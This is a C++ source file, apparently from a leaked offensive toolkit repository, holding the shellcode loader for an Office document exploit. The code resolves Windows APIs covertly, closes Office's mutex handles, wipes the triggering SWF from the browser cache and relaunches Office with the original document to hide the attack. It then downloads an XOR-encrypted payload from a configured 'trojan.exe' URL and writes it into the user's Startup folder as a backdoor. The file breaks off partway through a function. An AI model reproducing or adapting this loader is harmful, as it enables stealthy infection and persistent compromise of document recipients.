hackedteam/vector-exploit

View on GitHub
src/ht-Office-Shellcode/loader.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <Winternl.h>
#include <ShlObj.h>

#pragma section(".loader", read,execute)
#pragma code_seg(".loader")

#include "loader.h"
#include "crt.h"

 #pragma optimize( "", off )
__declspec(allocate(".loader"))
struct __strings _STRINGS =
{
    //NULL, NULL, 0x8f900864, // SHELLCODE gadget
    { 'N', 'T', 'D', 'L', 'L', 0x00 },
    { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', 0x0 },
    { 'u', 's', 'e', 'r', '3', '2', 0x0 },
    { 's', 'h', 'e', 'l', 'l', '3', '2', 0x0 },
    { 'U', 'R', 'L', 'M', 'O', 'N', 0x00 },
    { 'W', 'I', 'N', 'I', 'N', 'E', 'T', 0x0 },
    { 'A', 'D', 'V', 'A', 'P', 'I', '3', '2', 0x0 },

    { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 },
    { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'i', 'z', 'e', 0x0 },
    { 'S', 'l', 'e', 'e', 'p', 0x0 },
    { 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },
    { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'F', 'i', 'l', 'e', 'N', 'a', 'm', 'e', 'W', 0x0 },
    { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 'F', 'i', 'l', 'e', 0x0 },
    { 'S', 'h', 'e', 'l', 'l', 'E', 'x', 'e', 'c', 'u', 't', 'e', 'W', 0x0 },
    { 'U', 'R', 'L', 'D', 'o', 'w', 'n', 'l', 'o', 'a', 'd', 'T', 'o', 'F', 'i', 'l', 'e', 'A', 0x00 },
    { 'S', 'H', 'G', 'e', 't', 'S', 'p', 'e', 'c', 'i', 'a', 'l', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 'W', 0x00 },
    { 'F', 'i', 'n', 'd', 'F', 'i', 'r', 's', 't', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'A', 0x0 },
    { 'F', 'i', 'n', 'd', 'N', 'e', 'x', 't', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'A', 0x0 },
    { 'D', 'e', 'l', 'e', 't', 'e', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'A', 0x0 },
    { 'F', 'i', 'n', 'd', 'C', 'l', 'o', 's', 'e', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 0x0 },
    { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'O', 'b', 'j', 'e', 'c', 't', 0x0 },
    { 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 },
    { 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0},
    { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'W', 0x0 },
    { 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'W', 0x0 },
    { 'R', 'e', 'g', 'Q', 'u', 'e', 'r', 'y', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'W', 0x0 },
    { 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 },
    { 'G', 'e', 't', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'I', 'n', 'f', 'o', 'A', 0x0 },
    { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'A', 0x0 },
    { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'U', 'r', 'l', 'A', 0x0 },
    { 'H', 't', 't', 'p', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'A', 0x0 },
    { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 'E', 'x', 'A', 0x0 }, 
    { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 },
    { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 },
    { 'a', 't', 'o', 'i', 0x0 },
    { 'w', 'c', 's', 't', 'o', 'm', 'b', 's', 0x0 },

    { L'S', L'o', L'f', L't', L'w', L'a', L'r', L'e', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'O', L'f', L'f', L'i', L'c', L'e', L'\\', L'\0' },
    { L'W', L'o', L'r', L'd', L'\0' },
    { L'P', L'o', L'w', L'e', L'r', L'P', L'o', L'i', L'n', L't', L'\0' },

    { L'\\', L'F', L'i', L'l', L'e', L' ', L'M', L'R', L'U', L'\0' },
    { L'I', L't', L'e', L'm', L' ', L'1', L'\0' },

    { '.', 's', 'w', 'f', 0x0 },

    { L'P', L'r', L'i', L'm', L'a', L'r', L'y', L'W', L'o', L'r', L'd', L'1', L'\0' },
    { L'M', L'u', L't', L'e', L'x', L'\0' },
    { L'\\', L'P', L'P', L'1', 0x0 },
    { L'R', L'u', L'n', L'n', L'i', L'n', L'g', 0x0 },


    { L'.', L'D', L'O', L'C', L'X', L'\0' },
    { L'.', L'P', L'P', L'S', L'X', L'\0' },

    { L'/', L'q', L' ', L'/', L'f', L' ', L'"', L'\0' },
    { L'/', L's', L' ', L'"', L'\0' },

    { L'\\', L'~', L'$', L'\0' },
    { L'"', L'\0' },

    { 'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '4', '.', '0', ' ', '(', 'c', 'o', 'm', 'p', 'a', 't', 'i', 'b', 'l', 'e', ';', ' ', 'M', 'S', 'I', 'E', ' ', '7', '.', '0', ';', ' ', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ', '6', '.', '1', ';', ' ', 'W', 'O', 'W', '6', '4', ';', ' ', 'T', 'r', 'i', 'd', 'e', 'n', 't', '/', '5', '.', '0', ';', ' ', 'S', 'L', 'C', 'C', '2', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '2', '.', '0', '.', '5', '0', '7', '2', '7', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '5', '.', '3', '0', '7', '2', '9', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '0', '.', '3', '0', '7', '2', '9', ';', ' ', 'M', 'e', 'd', 'i', 'a', ' ', 'C', 'e', 'n', 't', 'e', 'r', ' ', 'P', 'C', ' ', '6', '.', '0', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'C', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'E', ';', ' ', 'M', 'D', 'D', 'R', 'J', 'S', ')', 0x0 }
};

__declspec(allocate(".loader"))
 struct __config _CONFIG = 
{
    0x41414141,
    { 'h', 't', 't', 'p', ':', '/', '/', '1', '9', '2', '.', '1', '6', '8', '.', '8', 
    '.', '1', ':', '8', '0', '8', '0', '/', 't', 'r', 'o', 'j', 'a', 'n', '.', 'e', 
    'x', 'e', 0x00, 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    0x00, 0x00, 0x00, 0x00 },
    { '\\', 'b', 'a', 'd', 'l', 'l', '.', 'e', 'x', 'e', 0x00, 'A', 'A', 'A', 'A', 'A', 
    'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 
    0x00, 0x00, 0x00, 0x00 },
};

__declspec(allocate(".loader")) 
VTABLE vTable =
{
    NULL, NULL, (OUTPUTDEBUGSTRINGA)0x8f900864, // SHELLCODE gadget
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
};

__declspec(naked) VOID Startup()
{
    _asm 
    {
        // make sure the next call is 4-byte aligned in the shellcode.
        nop
        nop
        nop
start:
        call next            // shellcode gadget, non toccare
next:
        pop eax                // shellcode gadget
        and eax, 0xfffff000 // shellcode gadget

        sub eax, 0x1000        // occhio che qui deve esserci > 4096 tra lo stub e e stringhe
        lea esi, vTable
        and esi, 0x00000fff
        add esi, eax

        lea edi, _CONFIG
        and edi, 0x00000fff
        add edi, eax

        lea ecx, _STRINGS
        and ecx, 0x00000fff
        add ecx, eax

        add ecx, 0x40
        add edi, 0x40
        add esi, 0x40
        push ecx
        push edi
        push esi
        call LoaderEntryPoint
    }
}

VOID RemoveCachedObject(__in PVTABLE lpTable, __in LPSTR strUrl, __in BOOL isSubString)
{
    DWORD dwLen = 0x1000;
    LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFOA) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);

    if (!isSubString)
    {
        BOOL dwRet = lpTable->GetUrlCacheEntryInfoA(strUrl, lpCacheEntry, &dwLen);
        if (!dwRet)
        {
            lpTable->Sleep(1000);
            dwRet = lpTable->GetUrlCacheEntryInfoA(strUrl, lpCacheEntry, &dwLen);
        }

        if (!lpTable->DeleteUrlCacheEntryA(strUrl))
            lpTable->DeleteUrlCacheEntryA(strUrl);

        if (dwRet)
            lpTable->DeleteFileA(lpCacheEntry->lpszLocalFileName);
        
        return;
    }

    dwLen = 0x1000;
    HANDLE hCache = lpTable->FindFirstUrlCacheEntryA(NULL, lpCacheEntry, &dwLen);
    if (hCache == NULL)
        return;
    do
    {
        if (__STRSTRI__(lpCacheEntry->lpszSourceUrlName, strUrl))
        {
            if (!lpTable->DeleteUrlCacheEntryA(lpCacheEntry->lpszSourceUrlName))
                lpTable->DeleteUrlCacheEntryA(lpCacheEntry->lpszSourceUrlName);

            lpTable->DeleteFileA(lpCacheEntry->lpszLocalFileName);
        }
    
        dwLen = 0x1000;
    }
    while (lpTable->FindNextUrlCacheEntryA(hCache, lpCacheEntry, &dwLen));

    lpTable->FindCloseUrlCache(hCache);
}

LPWSTR FindDriveOfFile(__in PVTABLE lpTable, __in struct __strings *strings, __in LPWSTR strFileName)
{
    LPWSTR strPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);

    for (CHAR i='A'; i<='Z'; i++)
    {
        strPath[0] = i;
        strPath[1] = ':';
        strPath[2] = 0x0;
        __STRCATW__(strPath, strFileName);
    
        if (lpTable->GetFileAttributesW(strPath) != INVALID_FILE_ATTRIBUTES)
            return strPath;
    }

    return NULL;
}

LPWSTR ReadMRU(__in PVTABLE lpTable, __in struct __strings *strings)
{
    HKEY hKey;
    DWORD dwType, dwSize;
    WCHAR strOfficeVer[5];
    LPWSTR strPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    LPWSTR strOfficeMRUKey = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);

    for (UINT i=0x30; i<=0x35; i++)
    {
        strOfficeVer[0] = '1';
        strOfficeVer[1] = i;
        strOfficeVer[2] = '.';
        strOfficeVer[3] = '0';
        strOfficeVer[4] = 0x0;
        
        strOfficeMRUKey[0] = 0x0;

        __STRCATW__(strOfficeMRUKey, strings->strOfficeKey1);
        __STRCATW__(strOfficeMRUKey, strOfficeVer);
#ifdef DOCX
        __STRCATW__(strOfficeMRUKey, strings->strWord);
#elif PPSX
        __STRCATW__(strOfficeMRUKey, strings->strPowerPoint);
#endif
        __STRCATW__(strOfficeMRUKey, strings->strOfficeKey2);
    
        if (lpTable->RegOpenKeyExA(HKEY_CURRENT_USER, strOfficeMRUKey, 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS)
        {
            dwSize = 0x1000;
    
            if (lpTable->RegQueryValueExA(hKey, strings->strOfficeItem, NULL, &dwType, strPath, &dwSize) == ERROR_SUCCESS)
            {
                while (*strPath++ != ':');

                strPath -= 2;
                return strPath;
            }
        }
    }

    return NULL;
}

LPSTR GetStartupPath(__in PVTABLE lpTable)
{
    LPSTR strStartupPath = (LPSTR) lpTable->VirtualAlloc(NULL, 0x8000, MEM_COMMIT, PAGE_READWRITE);
    LPWSTR wstrLongPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);
    LPWSTR wstrShortPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);

    if (!lpTable->SHGetSpecialFolderPathW(NULL, wstrLongPath, CSIDL_STARTUP, TRUE))
        lpTable->SHGetSpecialFolderPathW(NULL, wstrLongPath, CSIDL_STARTUP, FALSE);

    lpTable->GetShortPathNameW(wstrLongPath, wstrShortPath, 0x8000);
    lpTable->wcstombs(strStartupPath, wstrShortPath, 0x8000);

    return strStartupPath;
}


VOID LoaderEntryPoint(struct __vtbl *VTBL, struct __config *config, struct __strings *strings)
{ 
    DWORD dwOut;
    VTABLE lpTable;

    if (!GetVTable(&lpTable, strings))
        return; // FIXME

    IO_STATUS_BLOCK pIO;
    PFILE_NAME_INFORMATION lpFileNameInfo = (PFILE_NAME_INFORMATION) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    PFILE_NAME_INFORMATION lpEventNameInfo = (PFILE_NAME_INFORMATION) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);

    BOOL dwOriginalFileFound = FALSE;
    BOOL dwEventClosed = FALSE;
    HANDLE hTmpFile = INVALID_HANDLE_VALUE;

    for (UINT i=0; i<0xffff; i++)
    {        
        if (dwOriginalFileFound == FALSE)
        {
            __MEMSET__(lpEventNameInfo, 0x0, 0x1000);
            if (dwEventClosed == FALSE && lpTable.NtQueryObject((HANDLE)i, (OBJECT_INFORMATION_CLASS)1, lpEventNameInfo, 0x1000, &dwOut) == 0)
            {
#ifdef DOCX
                if (lpEventNameInfo->FileNameLength > 0 && __STRSTRIW__(lpEventNameInfo->FileName, strings->strDOCRunning) && __STRSTRIW__(lpEventNameInfo->FileName, strings->strDOCRunning2))    
#elif PPSX
                if (lpEventNameInfo->FileNameLength > 0 && __STRSTRIW__(lpEventNameInfo->FileName, strings->strPPRunning1) && __STRSTRIW__(lpEventNameInfo->FileName, strings->strPPRunning2))    
#endif
                {
                    lpTable.CloseHandle((HANDLE)i); // chiude handle a ***PrimaryWord1*Mutex
                    dwEventClosed = TRUE;
                }
            }

            DWORD dwHighSize = 0;
            DWORD dwLowSize = lpTable.GetFileSize((HANDLE)i, &dwHighSize); // ha una size ?
            if (dwLowSize == INVALID_FILE_SIZE)
                continue;

            __MEMSET__(lpFileNameInfo, 0x0, 0x1000);
            if (lpTable.NtQueryInformationFile((HANDLE)i, &pIO, lpFileNameInfo, 0x1000, (FILE_INFORMATION_CLASS)9)) // ha un nome?
                continue;
#ifdef DOCX
            if (!__STRSTRIW__(lpFileNameInfo->FileName, strings->strDOCX)) // .docx?
                continue;
#elif PPSX
            if (!__STRSTRIW__(lpFileNameInfo->FileName, strings->strPPSX)) // .ppsx?
                continue;
#endif
            if (__STRSTRIW__(lpFileNameInfo->FileName, strings->strTmp)) // != temp file
            {
                hTmpFile = (HANDLE) i;
                continue;
            }
    
            lpTable.CloseHandle((HANDLE)i);
            dwOriginalFileFound = TRUE;
        }

        if (dwOriginalFileFound && dwEventClosed)
            break;

    }
    if (hTmpFile != INVALID_HANDLE_VALUE)
        lpTable.CloseHandle(hTmpFile);    

    // prima di lanciare la nuova istanza, zapppiamo l'swf dalla cache cosi' non va in loop mortale ritriggherando l'exploit
    lpTable.Sleep(500);
    RemoveCachedObject(&lpTable, strings->strSWFSuffix, TRUE);


    // cerca di recuperare il path completo del documento originale
    LPWSTR strCompleteDocumentPath = NULL;
    if (dwOriginalFileFound)
        strCompleteDocumentPath = FindDriveOfFile(&lpTable, strings, lpFileNameInfo->FileName);
    else
        strCompleteDocumentPath = ReadMRU(&lpTable, strings);
    

    // prepara gli argomenti per la ShellExecute
    LPWSTR strArgs = (LPWSTR) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    __MEMSET__(strArgs, 0x0, 0x1000);
    if (strCompleteDocumentPath != NULL)
    {
#ifdef DOCX
        __STRCATW__(strArgs, strings->strDOCArgs);
#elif PPSX
        __STRCATW__(strArgs, strings->strPPTArgs);
#endif
        __STRCATW__(strArgs, strCompleteDocumentPath);
        __STRCATW__(strArgs, strings->strQuote);
    }
    
    // lancia office
    LPWSTR strExe = (LPWSTR) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    lpTable.GetModuleFileNameW(NULL, strExe, 0x1000);
    if (strCompleteDocumentPath != NULL)
        lpTable.ShellExecuteW(NULL, NULL, strExe, strArgs, NULL, 1);
    else
        lpTable.ShellExecuteW(NULL, NULL, strExe, NULL, NULL, 1);


    // download exe
    // dest path
    LPSTR strShortPath = GetStartupPath(&lpTable);
    __STRCAT__(strShortPath, config->szBackdoorPath);
    /*
    lpTable.SHGetSpecialFolderPathA(NULL, strStartupPath, CSIDL_STARTUP, TRUE);
    lpTable.GetShortPathNameA(strStartupPath, strShortPath, 0x1000/sizeof(WCHAR));
    
    */

    DWORD dwFileSize = 0;
    LPBYTE lpFileBuffer = DownloadAndDecrypt(&lpTable, strings, config->szUrl, &dwFileSize, config->dwXorKey);
    if (lpFileBuffer != NULL)
    {
        HANDLE hFile = lpTable.CreateFileA(strShortPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile != INVALID_HANDLE_VALUE)
        {
            lpTable.WriteFile(hFile, lpFileBuffer, dwFileSize, &dwOut, NULL);
            lpTable.CloseHandle(hFile);
        }
    }

    //lpTable.URLDownloadToFileA(NULL, config->szUrl, strShortPath, NULL, NULL);

    // cancella ancora l'swf dalla cache, in caso non abbia fatto tempo a scriverlo nella cache prima.
    RemoveCachedObject(&lpTable, strings->strSWFSuffix, TRUE);

    // exits
    lpTable.Sleep(1000);
    lpTable.ExitProcess(0);
}

BOOL GetVTable(__out PVTABLE lpTable, struct __strings *_strings)
{
    
    if (!GetPointers(&lpTable->GetProcAddress, &lpTable->LoadLibraryA))
        return FALSE; // FIXME

    // KERNEL32
    lpTable->VirtualAlloc = (VIRTUALALLOC) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strVirtualAlloc);
    lpTable->GetFileSize = (GETFILESIZE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetFileSize);
    lpTable->CloseHandle  = (CLOSEHANDLE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strCloseHandle);
    lpTable->Sleep  = (SLEEP) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strSleep);
    lpTable->ExitProcess = (EXITPROCESS) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strExitProcess);
    lpTable->GetModuleFileNameW = (GETMODULEFILENAMEW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetModuleFileNameW);
    lpTable->GetShortPathNameW = (GETSHORTPATHNAMEW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetShortPathNameW);
    lpTable->GetFileAttributesW = (GETFILEATTRIBUTESW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetFileAttributesW);
    lpTable->DeleteFileA = (DELETEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strDeleteFileA);
    lpTable->CreateFileA = (CREATEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strCreateFileA);
    lpTable->WriteFile = (WRITEFILE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strWriteFile);
    

    // NTDLL
    lpTable->NtQueryInformationFile = (NTQUERYINFORMATIONFILE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strZwQueryInformationFile);
    lpTable->NtQueryObject = (NTQUERYOBJECT) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strNtQueryObject);
    lpTable->atoi = (ATOI) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strAtoi);
    lpTable->wcstombs = (WCSTOMBS) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strWcsToMbs);

    // SHELL32
    lpTable->ShellExecuteW = (SHELLEXECUTEW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strShell32), _strings->strShellExecuteW);
    lpTable->SHGetSpecialFolderPathW = (SHGETSPECIALFOLDERPATHW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strShell32), _strings->strSHGetSpecialFolderPathW);

    // WININET
    lpTable->FindFirstUrlCacheEntryA = (FINDFIRSTURLCACHEENTRYA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strFindFirstUrlCacheEntryA);
    lpTable->FindNextUrlCacheEntryA = (FINDNEXTURLCACHEENTRYA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strFindNextUrlCacheEntryA);
    lpTable->DeleteUrlCacheEntryA = (DELETEURLCACHEENTRYA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strDeleteUrlCacheEntryA);
    lpTable->FindCloseUrlCache = (FINDCLOSEURLCACHE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strFindCloseUrlCache);
    lpTable->GetUrlCacheEntryInfoA = (GETURLCACHEENTRYINFOA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strGetUrlCacheEntryInfoA);
    lpTable->InternetOpenA = (INTERNETOPENA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strInternetOpenA);
    lpTable->InternetOpenUrlA = (INTERNETOPENURLA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strInternetOpenUrlA);
    lpTable->HttpQueryInfoA = (HTTPQUERYINFOA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strHttpQueryInfoA);
    lpTable->InternetReadFileExA = (INTERNETREADFILEEXA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strInternetReadFileExA);

    // URLMON
    //lpTable->URLDownloadToFileA = (URLDOWNLOADTOFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strUrlMon), _strings->strUrlDownloadToFileA);


    // ADVAPI32
    lpTable->RegOpenKeyExA = (REGOPENKEYEXW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strAdvapi32), _strings->strRegOpenKeyExW);
    lpTable->RegQueryValueExA = (REGQUERYVALUEEXW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strAdvapi32), _strings->strRegQueryValueExW);

    return TRUE;
}

LPBYTE DownloadAndDecrypt(__in PVTABLE lpTable, __in struct __strings *strings, __in LPSTR strUrl, __in LPDWORD dwFileLen, __in DWORD dwXorKey)
{
    CHAR strBuff[17];
    HINTERNET hInternet;
    DWORD dwBuffLen, dwIdx, dwOut;
    
    hInternet = lpTable->InternetOpenA(strings->strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hInternet)
    {
        HINTERNET hUrl = lpTable->InternetOpenUrlA(hInternet, strUrl, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_PRAGMA_NOCACHE, NULL);
        if (hUrl)
        {
            dwBuffLen = 16;
            dwIdx = 0;

            lpTable->HttpQueryInfoA(hUrl, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);

            *dwFileLen = lpTable->atoi(strBuff);
            LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);            

            if (DownloadFile(lpTable, hUrl, lpFileBuffer, *dwFileLen))
                return Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
        }
    }

    return NULL;
}

BOOL DownloadFile(__in PVTABLE lpTable, __in HINTERNET hUrl, __in LPBYTE lpBuffer, __in DWORD dwBufferLen)
{
    DWORD dwOut, dwRead = 0;
    INTERNET_BUFFERSA pInternetBuff;

    __MEMSET__(&pInternetBuff, 0x0, sizeof(INTERNET_BUFFERSA));
    pInternetBuff.dwStructSize = sizeof(INTERNET_BUFFERS);
    pInternetBuff.Next = NULL;
    pInternetBuff.lpvBuffer = lpBuffer;
    pInternetBuff.dwBufferLength = dwBufferLen;

    if (lpTable->InternetReadFileExA(hUrl, &pInternetBuff, IRF_SYNC, NULL))
        if (pInternetBuff.dwBufferLength == dwBufferLen)
            return TRUE;

    return FALSE;
}

LPBYTE Decrypt(__in LPBYTE lpBuffer, __in DWORD dwBuffLen, __in DWORD dwXorKey)
{
    LPDWORD lpD = (LPDWORD) lpBuffer;
    LPBYTE lpB = (LPBYTE) lpBuffer;

    for (UINT i=0; i<dwBuffLen/4; i++)
        lpD[i] ^= dwXorKey;
    for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
        lpB[i] ^= 0x41;

    return lpBuffer;
}

HANDLE GetKernel32Handle()
{
    HANDLE hKernel32 = INVALID_HANDLE_VALUE;
    PPEB lpPeb = (PPEB) __readfsdword(0x30);
    PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY pListEntry = pListHead->Flink;    

#ifdef SUX_KERNEL32_HANDLE
    hKernel32 = 
        (CONTAINING_RECORD(pListEntry->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks))->DllBase;
#elif defined FAST_KERNEL32_HANDLE
    while (pListEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pModEntry->FullDllName.Length)
        {
            DWORD dwLen    = pModEntry->FullDllName.Length;
            PWCHAR strName = (pModEntry->FullDllName.Buffer + (dwLen/sizeof(WCHAR))) - 13;

            if (GetStringHash(strName, TRUE, 13) == 0x8fecdbff || GetStringHash(strName, TRUE, 13) == 0x6e2bcfd7)
            {
                hKernel32 = pModEntry->DllBase;
                break;
            }
        }
        pListEntry = pListEntry->Flink;
    }
#else
    WCHAR strDllName[MAX_PATH];
    WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' };

    while (pListEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pModEntry->FullDllName.Length)
        {
            DWORD dwLen    = pModEntry->FullDllName.Length;

            __MEMCPY__(strDllName, pModEntry->FullDllName.Buffer, dwLen);
            strDllName[dwLen/sizeof(WCHAR)] = L'\0';

            if (__STRSTRIW__(strDllName, strKernel32))
            {
                hKernel32 = pModEntry->DllBase;
                break;
            }
        }
        pListEntry = pListEntry->Flink;
    }

#endif

    return hKernel32;
}

BOOL GetPointers(
    __out PGETPROCADDRESS fpGetProcAddress, 
    __out PLOADLIBRARYA fpLoadLibraryA)
{
    HANDLE hKernel32 = GetKernel32Handle();
    if (hKernel32 == INVALID_HANDLE_VALUE)
        return FALSE;

    LPBYTE lpBaseAddr = (LPBYTE) hKernel32;
    PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER) lpBaseAddr;
    PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS) (lpBaseAddr + lpDosHdr->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) (lpBaseAddr +  pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    LPDWORD pNameArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfNames);
    LPDWORD pAddrArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfFunctions);
